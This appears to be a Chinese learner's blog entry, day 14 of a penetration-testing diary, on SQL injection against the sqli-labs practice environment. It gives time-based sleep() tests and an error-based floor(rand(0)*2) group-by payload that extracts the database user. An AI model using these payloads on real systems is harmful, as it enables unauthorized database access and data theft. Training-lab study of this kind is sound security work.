渗透学习日记day14(sql注入payload)

Union 查询利用条件:页面要有回显点

无回显点:

单双引号看是否报错,若报错,判断是否为整数型

猜测查询语句:如果是整数型用sleep()函数会延迟

若为整数型:select * from xxx where id = 1 and sleep(3)      会延迟

 若是字符串型:select * from xxx where id = '1 and sleep(3)'     不会延迟

 这里得知sqli-labs第二关是整数型无回显但是可以报错

通过以下payload构造查询语句查询想要的信息

and ( Select count(*) from information_schema.tables group by concat((payload),floor(rand(0)*2)))

我们在payload更换为select user()

and ( Select count(*) from information_schema.tables group by concat((select user()),floor(rand(0)*2)))

再在and 前加一个 1 再查询试一试

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值